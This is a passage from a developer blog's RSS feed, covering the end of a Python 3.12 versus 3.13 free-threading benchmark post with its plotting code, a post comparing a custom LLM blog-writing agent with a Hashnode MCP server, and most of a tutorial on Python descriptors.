            <span class="hljs-keyword">if</span> <span class="hljs-string">"Actual counter value:"</span> <span class="hljs-keyword">in</span> line:
                actual_value = int(line.split()[<span class="hljs-number">-1</span>])
            <span class="hljs-keyword">elif</span> <span class="hljs-string">"Expected counter value:"</span> <span class="hljs-keyword">in</span> line:
                expected_value = int(line.split()[<span class="hljs-number">-1</span>])
            <span class="hljs-keyword">elif</span> <span class="hljs-string">"Function main took"</span> <span class="hljs-keyword">in</span> line:
                execution_time = float(line.split()[<span class="hljs-number">-2</span>])

        results.append({
            <span class="hljs-string">"python_version"</span>: python_version,
            <span class="hljs-string">"actual_value"</span>: actual_value,
            <span class="hljs-string">"expected_value"</span>: expected_value,
            <span class="hljs-string">"execution_time"</span>: execution_time,
            <span class="hljs-string">"lost_increments"</span>: expected_value - actual_value <span class="hljs-keyword">if</span> expected_value <span class="hljs-keyword">and</span> actual_value <span class="hljs-keyword">else</span> <span class="hljs-literal">None</span>
        })

        <span class="hljs-comment"># Small delay between runs</span>
        time.sleep(<span class="hljs-number">0.5</span>)

    <span class="hljs-keyword">return</span> results

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create_visualizations</span>(<span class="hljs-params">results_3_12, results_3_13</span>):</span>
    <span class="hljs-string">"""
    Create various visualizations comparing Python 3.12 and 3.13 results
    """</span>
    fig = plt.figure(figsize=(<span class="hljs-number">15</span>, <span class="hljs-number">10</span>))

    <span class="hljs-comment"># 1. Counter Values Comparison</span>
    ax1 = plt.subplot(<span class="hljs-number">221</span>)
    runs_3_12 = range(len(results_3_12))
    runs_3_13 = range(len(results_3_13))

    expected = results_3_12[<span class="hljs-number">0</span>][<span class="hljs-string">'expected_value'</span>]
    ax1.plot(runs_3_12, [r[<span class="hljs-string">'actual_value'</span>] <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> results_3_12], <span class="hljs-string">'g-'</span>, label=<span class="hljs-string">'Python 3.12 (with GIL)'</span>, marker=<span class="hljs-string">'o'</span>)
    ax1.plot(runs_3_13, [r[<span class="hljs-string">'actual_value'</span>] <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> results_3_13], <span class="hljs-string">'r-'</span>, label=<span class="hljs-string">'Python 3.13 (no GIL)'</span>, marker=<span class="hljs-string">'o'</span>)
    ax1.axhline(y=expected, color=<span class="hljs-string">'b'</span>, linestyle=<span class="hljs-string">'--'</span>, label=<span class="hljs-string">'Expected Value'</span>)

    ax1.set_title(<span class="hljs-string">'Counter Values Across Runs'</span>)
    ax1.set_xlabel(<span class="hljs-string">'Run Number'</span>)
    ax1.set_ylabel(<span class="hljs-string">'Counter Value'</span>)
    ax1.legend()
    ax1.grid(<span class="hljs-literal">True</span>)

    <span class="hljs-comment"># 2. Lost Increments Over Time</span>
    ax2 = plt.subplot(<span class="hljs-number">222</span>)
    lost_3_13 = [r[<span class="hljs-string">'lost_increments'</span>] <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> results_3_13]
    ax2.plot(range(len(lost_3_13)), lost_3_13, <span class="hljs-string">'r-'</span>, marker=<span class="hljs-string">'o'</span>)
    ax2.set_title(<span class="hljs-string">'Lost Increments Over Time (Python 3.13 no GIL)'</span>)
    ax2.set_xlabel(<span class="hljs-string">'Run Number'</span>)
    ax2.set_ylabel(<span class="hljs-string">'Number of Lost Increments'</span>)
    ax2.grid(<span class="hljs-literal">True</span>)

    <span class="hljs-comment"># 3. Execution Time Comparison</span>
    ax3 = plt.subplot(<span class="hljs-number">223</span>)
    times_3_12 = [r[<span class="hljs-string">'execution_time'</span>] <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> results_3_12]
    times_3_13 = [r[<span class="hljs-string">'execution_time'</span>] <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> results_3_13]

    ax3.bar([<span class="hljs-string">'Python 3.12\n(with GIL)'</span>, <span class="hljs-string">'Python 3.13\n(no GIL)'</span>],
            [sum(times_3_12)/len(times_3_12), sum(times_3_13)/len(times_3_13)],
            color=[<span class="hljs-string">'green'</span>, <span class="hljs-string">'red'</span>])
    ax3.set_title(<span class="hljs-string">'Average Execution Time'</span>)
    ax3.set_ylabel(<span class="hljs-string">'Time (seconds)'</span>)
    ax3.grid(<span class="hljs-literal">True</span>)

    <span class="hljs-comment"># 4. Consistency Percentage</span>
    ax4 = plt.subplot(<span class="hljs-number">224</span>)
    consistency_3_12 = sum(<span class="hljs-number">1</span> <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> results_3_12 <span class="hljs-keyword">if</span> r[<span class="hljs-string">'actual_value'</span>] == r[<span class="hljs-string">'expected_value'</span>]) / len(results_3_12) * <span class="hljs-number">100</span>
    consistency_3_13 = sum(<span class="hljs-number">1</span> <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> results_3_13 <span class="hljs-keyword">if</span> r[<span class="hljs-string">'actual_value'</span>] == r[<span class="hljs-string">'expected_value'</span>]) / len(results_3_13) * <span class="hljs-number">100</span>

    ax4.bar([<span class="hljs-string">'Python 3.12\n(with GIL)'</span>, <span class="hljs-string">'Python 3.13\n(no GIL)'</span>], 
            [consistency_3_12, consistency_3_13],
            color=[<span class="hljs-string">'green'</span>, <span class="hljs-string">'red'</span>])
    ax4.set_title(<span class="hljs-string">'Consistency Percentage'</span>)
    ax4.set_ylabel(<span class="hljs-string">'Percentage of Consistent Results'</span>)
    ax4.set_ylim(<span class="hljs-number">0</span>, <span class="hljs-number">100</span>)
    ax4.grid(<span class="hljs-literal">True</span>)

    plt.tight_layout()
    plt.savefig(<span class="hljs-string">'corruption_analysis.png'</span>)
    plt.close()

    <span class="hljs-comment"># Print summary statistics</span>
    print(<span class="hljs-string">"\nSummary Statistics:"</span>)
    print(<span class="hljs-string">"\nPython 3.12 (with GIL):"</span>)
    print(<span class="hljs-string">f"Average execution time: <span class="hljs-subst">{sum(times_3_12)/len(times_3_12):<span class="hljs-number">.3</span>f}</span> seconds"</span>)
    print(<span class="hljs-string">f"Consistency rate: <span class="hljs-subst">{consistency_3_12:<span class="hljs-number">.1</span>f}</span>%"</span>)

    print(<span class="hljs-string">"\nPython 3.13 (no GIL):"</span>)
    print(<span class="hljs-string">f"Average execution time: <span class="hljs-subst">{sum(times_3_13)/len(times_3_13):<span class="hljs-number">.3</span>f}</span> seconds"</span>)
    print(<span class="hljs-string">f"Consistency rate: <span class="hljs-subst">{consistency_3_13:<span class="hljs-number">.1</span>f}</span>%"</span>)
    print(<span class="hljs-string">f"Average lost increments: <span class="hljs-subst">{sum(lost_3_13)/len(lost_3_13):<span class="hljs-number">.0</span>f}</span>"</span>)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    <span class="hljs-comment"># Run experiments</span>
    print(<span class="hljs-string">"Running experiments with Python 3.12..."</span>)
    results_3_12 = run_experiment(<span class="hljs-string">"3.12"</span>)

    print(<span class="hljs-string">"Running experiments with Python 3.13..."</span>)
    results_3_13 = run_experiment(<span class="hljs-string">"3.13"</span>)

    <span class="hljs-comment"># Create visualizations</span>
    create_visualizations(results_3_12, results_3_13)
    print(<span class="hljs-string">"\nVisualizations saved as 'corruption_analysis.png'"</span>)
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749437244021/259191fd-2748-433a-b427-18b24816eaff.png" alt class="image--center mx-auto" /></p>
<p>fig: bench-marking memory corruption</p>
<h1 id="heading-corruption-results-a-slow-motion-car-crash">Corruption Results: A Slow-Motion Car Crash</h1>
<p>This is where my assumptions were shattered. I expected the <code>no-GIL</code> threads to be fast but wrong. I was not prepared for them to be <em>slow</em> and wrong.</p>
<p>Let's dissect this beautiful disaster:</p>
<ol>
<li><p><strong>Consistency:</strong> As predicted, Python 3.12 (with the GIL) was 100% correct every time. Python 3.13 (no GIL), without any manual locks, produced wildly incorrect results, losing tens of thousands of increments to race conditions. No surprises there.</p>
</li>
<li><p><strong>Execution Time:</strong> This was the shocker. The <code>no-GIL</code> version was <strong>significantly slower</strong> than the GIL version. It not only failed to produce the right answer, it took its sweet time doing it.</p>
</li>
</ol>
<h3 id="heading-why-in-the-world-was-it-slower">Why in the World Was It Slower?</h3>
<p>This counter-intuitive result gets to the heart of concurrency. Removing the GIL isn't free. It's replaced by other, more granular mechanisms like atomic operations to keep Python's internals safe. And our specific test—multiple threads hammering the <em>exact same</em> variable—is the absolute worst-case scenario for this.</p>
<p>It created <strong>extreme memory contention</strong>.</p>
<p>Think of it this way: The GIL is like a strict librarian who only lets one person at a time into a room to get a book. It's slow, but it's orderly. The <code>no-GIL</code> mode fires the librarian and lets everyone rush in at once. But since they all want the <em>same book</em>, they just trample each other in a chaotic pile-up at the bookshelf. The CPU's memory system has to work overtime to manage this riot, and the end result is that everything takes <em>longer</em> than the orderly queue did.</p>
<p>Our test created a digital riot. The overhead of managing the chaos was greater than the benefit of parallelism.</p>
<h3 id="heading-the-grand-unfulfilling-conclusion-so-what-did-we-learn">The Grand, Unfulfilling Conclusion: So What Did We Learn?</h3>
<p>After all this, the key takeaway is that <strong>there is no magic bullet.</strong> Anyone who tells you "always use async" or "the <code>no-GIL</code> mode fixes everything" is, frankly, full of it.</p>
<p>The reality requires you to think. Here's your cheat sheet:</p>
<ol>
<li><p><strong>For CPU-Bound Work:</strong> <strong>Multiprocessing</strong> is still your safest bet for raw, scalable power. Use the <code>no-GIL</code> mode only when your threads can work on <em>different chunks of data</em> with low contention. Benchmark it first, or you might end up in a slow-motion riot like I did.</p>
</li>
<li><p><strong>For I/O-Bound Work:</strong> <strong>Asyncio</strong> is the modern, highly efficient champion. But standard <strong>threading</strong> (with the GIL) remains a perfectly simple and effective choice for less complex I/O tasks.</p>
</li>
</ol>
<p>The <code>no-GIL</code> mode is not a "go faster" button. It's a powerful, expert-level tool that unlocks true parallelism, but it demands that you understand and manage the perils of concurrent memory access. For most, the GIL isn't a prison; it's a guardrail that keeps you from driving off a cliff. Sometimes, that's exactly what you need.</p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Automating Blog creation, MCP vs Creating own agent]]></title><description><![CDATA[Today we're belly-flopping into the glamorous world of blog post automation — because who doesn’t dream of spending their weekends wrangling markdown, LLMs, and API tokens, right?
Let’s be honest: writing blogs is exhausting, and reading AI-generated...]]></description><link>https://blog.buddhag.com.np/automating-blog-creation-mcp-vs-creating-own-agent</link><guid isPermaLink="true">https://blog.buddhag.com.np/automating-blog-creation-mcp-vs-creating-own-agent</guid><dc:creator><![CDATA[buddha gautam]]></dc:creator><pubDate>Sat, 07 Jun 2025 09:07:53 GMT</pubDate><content:encoded><![CDATA[<p>Today we're belly-flopping into the glamorous world of blog post automation — because who doesn’t dream of spending their weekends wrangling markdown, LLMs, and API tokens, right?</p>
<p>Let’s be honest: writing blogs is exhausting, and reading AI-generated "thought leadership" on LinkedIn is even worse. I didn’t want to contribute to the noise — but here i am pretending to create something <em>actually</em> useful. And maybe, just maybe, save myself from typing the same “Here’s how you use a decorator” explanation for the 20th time.</p>
<p>So I built two things. And now, we’re pitting them against each other in a cage match of code and questionable sanity:</p>
<ol>
<li><p><strong>My Hand-Rolled Agent:</strong> A custom-built Python script, fueled by LLMs and sheer willpower, designed to take a blog title, some rough notes, and tags, and spit out a semi-coherent Hashnode post. I even built a whole UI for this monstrosity.</p>
</li>
<li><p><strong>MCP (Model Context Protocol):</strong> I was going to implement it myself. But i found a opensource implementation of it done very recently by someone who had an awesome portfolio site. Same like <a target="_blank" href="https://buddhag.com.np">mine</a> but on <a target="_blank" href="https://brain.budhathokisagar.com.np/">steroids</a>.</p>
</li>
</ol>
<blockquote>
<p>For those who don’t know — Hashnode is basically like Medium, but built for developers and, honestly, way better. Custom domains, Markdown, no paywalls, and an actual API? Yeah, Medium could never. This blog site made with Hashnode.</p>
</blockquote>
<hr />
<h2 id="heading-1-my-hand-rolled-agent">1. 💀 <strong>My Hand-Rolled Agent</strong></h2>
<p>A custom-built Python script, fueled by LLMs and sheer willpower, designed to take a blog title, some rough notes, and tags, and spit out a semi-coherent Hashnode post.</p>
<p>I even built a whole UI for this monstrosity. It’s rough around the edges, but it’s mine(claude). It accepts your blog title, tags, and raw chaotic notes like:</p>
<p>Then it wrangles that input into something that won't get you cyberbullied on Twitter. The backend? FastAPI. The LLM? Gemini. The deploy? Docker Compose. The pain? Immeasurable.</p>
<p>Feast your eyes on the screenshots:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749287918749/051a669f-dc4e-4e0b-bff3-5a57ca333455.png" alt="UI Screenshot 1" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749287963535/4fc9d66b-afb2-4bce-a5f9-01969771dc44.png" alt="UI Screenshot 2" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749288036218/a0f33ac0-d857-4bf6-95b0-a343e0269bac.png" alt="UI Screenshot 3" /></p>
<p>This setup gave me a decent amount of control, and honestly, it felt pretty great to spin up something from scratch. The full thing — frontend, backend, all duct-taped together — is open source at <a target="_blank" href="https://github.com/buddhadonthavemoney/Hashnode-AI-Agent">agent-hashnode</a>. It’s fast, it’s messy, and it works.</p>
<hr />
<h2 id="heading-2-the-hashnode-mcp-model-context-protocol">2. 🤖 <strong>The Hashnode MCP (Model Context Protocol)</strong></h2>
<p>Okay, so here’s where the future slaps you in the face.</p>
<p>I had barely dipped my toes into the whole MCP ecosystem, and suddenly I'm staring into a rabbit hole of possibility. I was going to build my own implementation. I really was. But then I stumbled across an very recent opensource contribution. Shoutout to <a target="_blank" href="https://github.com/sbmagar13">sbmagar13</a> for building the actual mcp server.</p>
<p>Now, <em>what is this "MCP"</em> thing?</p>
<p>Imagine your dumb little script from earlier. Then imagine you could <em>talk</em> to it. Like, literally say:</p>
<blockquote>
<p>"Hey, create a blog post about FastAPI and Gemini, tag it with 'AI', 'Python', 'FastAPI', and use these notes to flesh it out."</p>
</blockquote>
<p>And it <em>does</em> that. Not because you hardcoded anything, but because the LLM running behind it actually <strong>understands the task</strong> and knows how to call different microservices to get it done.</p>
<p>I spun up a <a target="_blank" href="https://github.com/buddhadonthavemoney/mcp-tui-client">TUI-based MCP client</a> with Cursor (yes, that Cursor), and here's what it looks like:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749288341064/9bfd3951-e41f-4ca5-b98b-0769086bbed5.png" alt="MCP Client Screenshot 1" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749288460972/50ff1d09-6b0a-49ae-bbcb-e5743def06b9.png" alt="MCP Client Screenshot 2" /></p>
<p>With just natural language, I can now:</p>
<ul>
<li><p>🗂 Create folders and files</p>
</li>
<li><p>📄 Generate blogs (duh)</p>
</li>
<li><p>📝 Edit existing blog posts</p>
</li>
<li><p>🧠 Chain tasks like "create blog → upload to Hashnode → tweet it"</p>
</li>
<li><p>🧰 Add more servers to automate literally everything</p>
</li>
</ul>
<p>Everything’s modular. Everything’s extendable. I could hook it up to an email server, a Terraform infra manager, even a coffee machine if I wanted. I’m basically living in 2035 now.</p>
<p>Here’s what it looks like when I ask it to publish a blog using the Hashnode MCP server:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749443968086/028a51ab-d81f-4841-aec4-4ff67902b784.png" alt class="image--center mx-auto" /></p>
<p>No manual API calls. No YAML sacrifices to the CI/CD gods. Just vibes and language. Look how good of a poem it wrote about my friend <a target="_blank" href="https://blog.buddhag.com.np/paarit-is-a-goat-but-he-has-no-bitches">paarit</a>.</p>
<p>The full implementation of the Hashnode MCP is at <a target="_blank" href="https://github.com/sbmagar13/hashnode-mcp-server">sbmagar13/hashnode-mcp-server</a>. Seriously, check it out. Kudos to the developer</p>
<hr />
<h2 id="heading-final-thoughts">🧠 Final Thoughts</h2>
<p>I started this project thinking I’d hack something together, automate a few boring blog posts, and call it a day. But what I discovered was a fundamental shift in how we build tools.</p>
<p>Originally, I just wanted to continue my <em>Advanced Python</em> blog series. I had learned some cool new tricks and figured it was time to share. But the idea of sitting down to write all those blogs — with proper code snippets, formatting, explanations — sounded exhausting. And of course i would be using LLM anyway.</p>
<p>So I thought, “Why not automate the whole thing?” That’s when I stumbled across MCP. I didn’t know much, but figured I’d learn it and use it to generate and publish blogs. Of course, being me, I ended up starting coding immediately and buildt my own agent from scratch.</p>
<p>...which, hilariously, wasn’t MCP at all.</p>
<p>But then I looked into the <em>real</em> MCP — and man. It looked extremely promising. On my journey to learn MCP and automate my blogs. Within six hours I had built <strong>three repos</strong>, written <strong>five blogs</strong>, and even spun up my own custom MCP client from scratch. I don’t even know what code has been written at this point(thank you cursor). It just happened.</p>
<p>The scale at which we can build things now is <strong>unprecedented</strong>. This isn’t about speed anymore — it’s about <em>lightspeed(okay this is lame)</em>.</p>
<p>The classical method? It works. You build parts, wire them together, and maybe—just maybe—you get something that saves you 10 minutes a week.</p>
<p>But MCP? It’s not just code. It’s <em>conversation</em>. It’s building <em>with</em> your tool, not just <em>for</em> it. It’s not magic — it’s just damn good architecture powered by LLMs that actually understand how to collaborate with APIs.</p>
<p>If you’re a developer, go try this. Stop gluing together scripts. Start treating your tools like collaborators.</p>
<p>The world is changing. Fast.</p>
<p>And honestly?</p>
<blockquote>
<p>Bye bye coders. Hahahaha.</p>
</blockquote>
<h2 id="heading-references">References</h2>
<h3 id="heading-code">Code</h3>
<ol>
<li><p><a target="_blank" href="https://github.com/buddhadonthavemoney/mcp-tui-client">MCP Terminal Client</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/buddhadonthavemoney/Hashnode-AI-Agent">Custom Hasnode AI agent</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/sbmagar13/hashnode-mcp-server">Hashnode MCP server</a></p>
</li>
</ol>
<h3 id="heading-blogs-generated">Blogs Generated</h3>
<ol>
<li><p><a target="_blank" href="https://blog.buddhag.com.np/python-descriptors-building-reusable-attribute-logic">Python descriptor protocol</a></p>
</li>
<li><p><a target="_blank" href="https://blog.buddhag.com.np/python-closures">Python closure</a></p>
</li>
<li><p><a target="_blank" href="https://blog.buddhag.com.np/the-hash-dunder-python">Python ___hash___ dunder</a></p>
</li>
<li><p><a target="_blank" href="https://blog.buddhag.com.np/benchmarking-gil-threads-multprocessing-async">Bench-marking parallelism with GIL enabled&amp;disabled</a></p>
</li>
<li><p><a target="_blank" href="https://blog.buddhag.com.np/paarit-is-a-goat-but-he-has-no-bitches">Paarit Lonely Poetry</a></p>
</li>
<li><p><a target="_blank" href="https://blog.buddhag.com.np/prompt-lets-see-the-blogs-published-result">blog generated by very random prompt</a></p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Python Descriptors: How @property and @property.setter work]]></title><description><![CDATA[This blog is generated as a usecase of this other blog(Automating blog creation with own agent vs mcp) that helped me automate the writing of this blog.

Alright, settle in, folks. Today we're diving into Python descriptors. Not because some LinkedIn...]]></description><link>https://blog.buddhag.com.np/python-descriptors-building-reusable-attribute-logic</link><guid isPermaLink="true">https://blog.buddhag.com.np/python-descriptors-building-reusable-attribute-logic</guid><category><![CDATA[BackendEngineering]]></category><category><![CDATA[Delete]]></category><category><![CDATA[descriptors]]></category><category><![CDATA[DesignPatterns]]></category><category><![CDATA[get]]></category><category><![CDATA[@property]]></category><category><![CDATA[Python]]></category><category><![CDATA[#PythonInternals ]]></category><category><![CDATA[set]]></category><dc:creator><![CDATA[buddha gautam]]></dc:creator><pubDate>Sat, 07 Jun 2025 06:12:14 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This blog is generated as a usecase of this other blog(<a target="_blank" href="https://blog.buddhag.com.np/automating-blog-creation-mcp-vs-creating-own-agent">Automating blog creation with own agent vs mcp</a>) that helped me automate the writing of this blog.</p>
</blockquote>
<p>Alright, settle in, folks. Today we're diving into Python descriptors. Not because some LinkedIn guru told me it's the "next big thing" (eye roll), but because they're genuinely useful for building reusable, elegant, and frankly, kinda badass attribute logic. If you're tired of copy-pasting validation code across your classes, or you're just curious about the magic behind <code>@property</code>, then buckle up. We're going deep.</p>
<h2 id="heading-what-in-the-holy-hell-is-a-descriptor">What in the Holy Hell is a Descriptor?</h2>
<p>In essence, a descriptor is a class that manages attribute access. <em>Woah, slow down!</em> Think of it as a gatekeeper for your object's attributes. Instead of directly accessing the attribute, you go through the descriptor, which can then perform extra logic like validation, lazy loading, or even tracking changes.</p>
<p>Descriptors are defined by implementing one or more of the following special methods (the descriptor protocol):</p>
<ul>
<li><p><code>__get__(self, instance, owner)</code>: Called when the descriptor's attribute value is accessed.</p>
</li>
<li><p><code>__set__(self, instance, value)</code>: Called when the descriptor's attribute value is assigned.</p>
</li>
<li><p><code>__delete__(self, instance)</code>: Called when the descriptor's attribute is deleted.</p>
</li>
<li><p><code>__set_name__(self, owner, name)</code>: Called when the owning class is created, giving the descriptor a chance to know its attribute name. (Python 3.6+)</p>
</li>
</ul>
<p>These methods let you intercept attribute access, assignment, and deletion, giving you fine-grained control over how your objects behave.</p>
<h2 id="heading-the-property-decorator-descriptors-in-disguise">The <code>@property</code> Decorator: Descriptors in Disguise</h2>
<p>You've probably used <code>@property</code> before, right? It's that handy decorator that lets you define getter, setter, and deleter methods for an attribute. Guess what? It's built on descriptors!</p>
<p>Let's break it down:</p>
<pre><code class="lang-python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Circle</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, radius</span>):</span>
        self._radius = radius

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">radius</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-string">"""I'm the 'radius' property."""</span>
        print(<span class="hljs-string">"Getting radius"</span>)
        <span class="hljs-keyword">return</span> self._radius

<span class="hljs-meta">    @radius.setter</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">radius</span>(<span class="hljs-params">self, value</span>):</span>
        <span class="hljs-keyword">if</span> value &lt;= <span class="hljs-number">0</span>:
            <span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">"Radius must be positive"</span>)
        print(<span class="hljs-string">"Setting radius"</span>)
        self._radius = value

<span class="hljs-meta">    @radius.deleter</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">radius</span>(<span class="hljs-params">self</span>):</span>
        print(<span class="hljs-string">"Deleting radius"</span>)
        <span class="hljs-keyword">del</span> self._radius
</code></pre>
<p>Under the hood, <code>@property</code> creates a <code>property</code> object, which is a descriptor. When you access <code>circle.radius</code>, Python calls the <code>__get__</code> method of the <code>property</code> object, which in turn calls your getter method. The same goes for setting and deleting the attribute.</p>
<p><code>@radius.setter</code> and <code>@radius.deleter</code> are just syntactic sugar to create new <code>property</code> objects with the setter and deleter methods attached, respectively. They essentially replace the original <code>property</code> object associated with <code>radius</code>.</p>
<h2 id="heading-roll-your-own-custom-descriptor-examples">Roll Your Own: Custom Descriptor Examples</h2>
<p>Okay, enough theory. Let's get our hands dirty with some custom descriptors.</p>
<h3 id="heading-example-1-validating-attributes">Example 1: Validating Attributes</h3>
<p>Tired of writing the same validation logic over and over? A descriptor can help.</p>
<pre><code class="lang-python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ValidatedString</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, min_length=<span class="hljs-number">0</span>, max_length=None</span>):</span>
        self.min_length = min_length
        self.max_length = max_length
        self.name = <span class="hljs-literal">None</span> <span class="hljs-comment"># Assigned by __set_name__</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__set_name__</span>(<span class="hljs-params">self, owner, name</span>):</span>
        self.name = name

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__get__</span>(<span class="hljs-params">self, instance, owner</span>):</span>
        <span class="hljs-keyword">if</span> instance <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
            <span class="hljs-keyword">return</span> self
        <span class="hljs-keyword">return</span> instance.__dict__[self.name]

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__set__</span>(<span class="hljs-params">self, instance, value</span>):</span>
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> isinstance(value, str):
            <span class="hljs-keyword">raise</span> TypeError(<span class="hljs-string">f"<span class="hljs-subst">{self.name}</span> must be a string"</span>)
        <span class="hljs-keyword">if</span> len(value) &lt; self.min_length:
            <span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">f"<span class="hljs-subst">{self.name}</span> must be at least <span class="hljs-subst">{self.min_length}</span> characters long"</span>)
        <span class="hljs-keyword">if</span> self.max_length <span class="hljs-keyword">is</span> <span class="hljs-keyword">not</span> <span class="hljs-literal">None</span> <span class="hljs-keyword">and</span> len(value) &gt; self.max_length:
            <span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">f"<span class="hljs-subst">{self.name}</span> must be at most <span class="hljs-subst">{self.max_length}</span> characters long"</span>)
        instance.__dict__[self.name] = value


<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span>:</span>
    name = ValidatedString(min_length=<span class="hljs-number">3</span>, max_length=<span class="hljs-number">50</span>)
    email = ValidatedString()

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, name, email</span>):</span>
        self.name = name
        self.email = email
</code></pre>
<p>Now, whenever you try to assign an invalid value to <code>user.name</code> or <code>user.email</code>, the <code>ValidatedString</code> descriptor will raise an exception. Boom. Reusable validation.</p>
<h3 id="heading-example-2-lazy-loading">Example 2: Lazy Loading</h3>
<p>Want to defer loading an expensive attribute until it's actually needed? Descriptors to the rescue!</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> time

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">LazyLoad</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, func</span>):</span>
        self.func = func
        self.name = <span class="hljs-literal">None</span> <span class="hljs-comment"># Assigned by __set_name__</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__set_name__</span>(<span class="hljs-params">self, owner, name</span>):</span>
        self.name = name

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__get__</span>(<span class="hljs-params">self, instance, owner</span>):</span>
        <span class="hljs-keyword">if</span> instance <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
            <span class="hljs-keyword">return</span> self
        print(<span class="hljs-string">f"Loading <span class="hljs-subst">{self.name}</span>..."</span>)
        value = self.func(instance)
        instance.__dict__[self.name] = value  <span class="hljs-comment"># Cache the result</span>
        <span class="hljs-keyword">return</span> value


<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">DataProcessor</span>:</span>
<span class="hljs-meta">    @LazyLoad</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">large_dataset</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-comment"># Simulate loading a large dataset</span>
        print(<span class="hljs-string">"Actually loading..."</span>)
        time.sleep(<span class="hljs-number">2</span>)
        <span class="hljs-keyword">return</span> list(range(<span class="hljs-number">1000000</span>))

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-keyword">pass</span>
</code></pre>
<p>The first time you access <code>data_processor.large_dataset</code>, the <code>LazyLoad</code> descriptor will call the <code>large_dataset</code> method, load the data, and cache it in the instance's <code>__dict__</code>. Subsequent accesses will retrieve the cached value directly, avoiding the expensive loading process. Efficiency!</p>
<h2 id="heading-real-world-applications-beyond-the-hype">Real-World Applications: Beyond the Hype</h2>
<p>Descriptors aren't just academic exercises. They're used in real-world applications all the time.</p>
<ul>
<li><p><strong>ORMs (Object-Relational Mappers):</strong> ORMs like SQLAlchemy use descriptors to map database columns to object attributes, handle data validation, and track changes.</p>
</li>
<li><p><strong>Validation Libraries:</strong> Libraries like <code>attrs</code> and <code>marshmallow</code> leverage descriptors for defining and validating object attributes.</p>
</li>
<li><p><strong>Frameworks:</strong> Django uses descriptors in its model fields to handle data conversion and validation.</p>
</li>
</ul>
<p>Basically, if you're working on a complex Python project, chances are you're already using descriptors, even if you don't realize it.</p>
<h2 id="heading-common-pitfalls-and-best-practices">Common Pitfalls and Best Practices</h2>
<p>Descriptors can be powerful, but they can also be tricky. Here are a few things to keep in mind:</p>
<ul>
<li><p><strong>Descriptor Types:</strong> There are two main types of descriptors: <em>data descriptors</em> (with both <code>__get__</code> and <code>__set__</code>) and <em>non-data descriptors</em> (with only <code>__get__</code>). Data descriptors take precedence over instance attributes, while non-data descriptors are shadowed by instance attributes. Understand the difference!</p>
</li>
<li><p><code>__set_name__</code>: Don't forget to use <code>__set_name__</code> (Python 3.6+) to get the attribute name. It makes your descriptors more reusable and less prone to errors.</p>
</li>
<li><p><strong>Avoid Infinite Recursion:</strong> Be careful when accessing or setting attributes within your descriptor methods. You can easily create infinite recursion if you're not careful. Use the instance's <code>__dict__</code> directly to avoid triggering the descriptor again.</p>
</li>
<li><p><strong>Keep it Simple:</strong> Don't overcomplicate your descriptors. If you find yourself writing a ton of code, consider breaking it down into smaller, more manageable functions or classes.</p>
</li>
</ul>
<h2 id="heading-conclusion-embrace-the-descriptor">Conclusion: Embrace the Descriptor</h2>
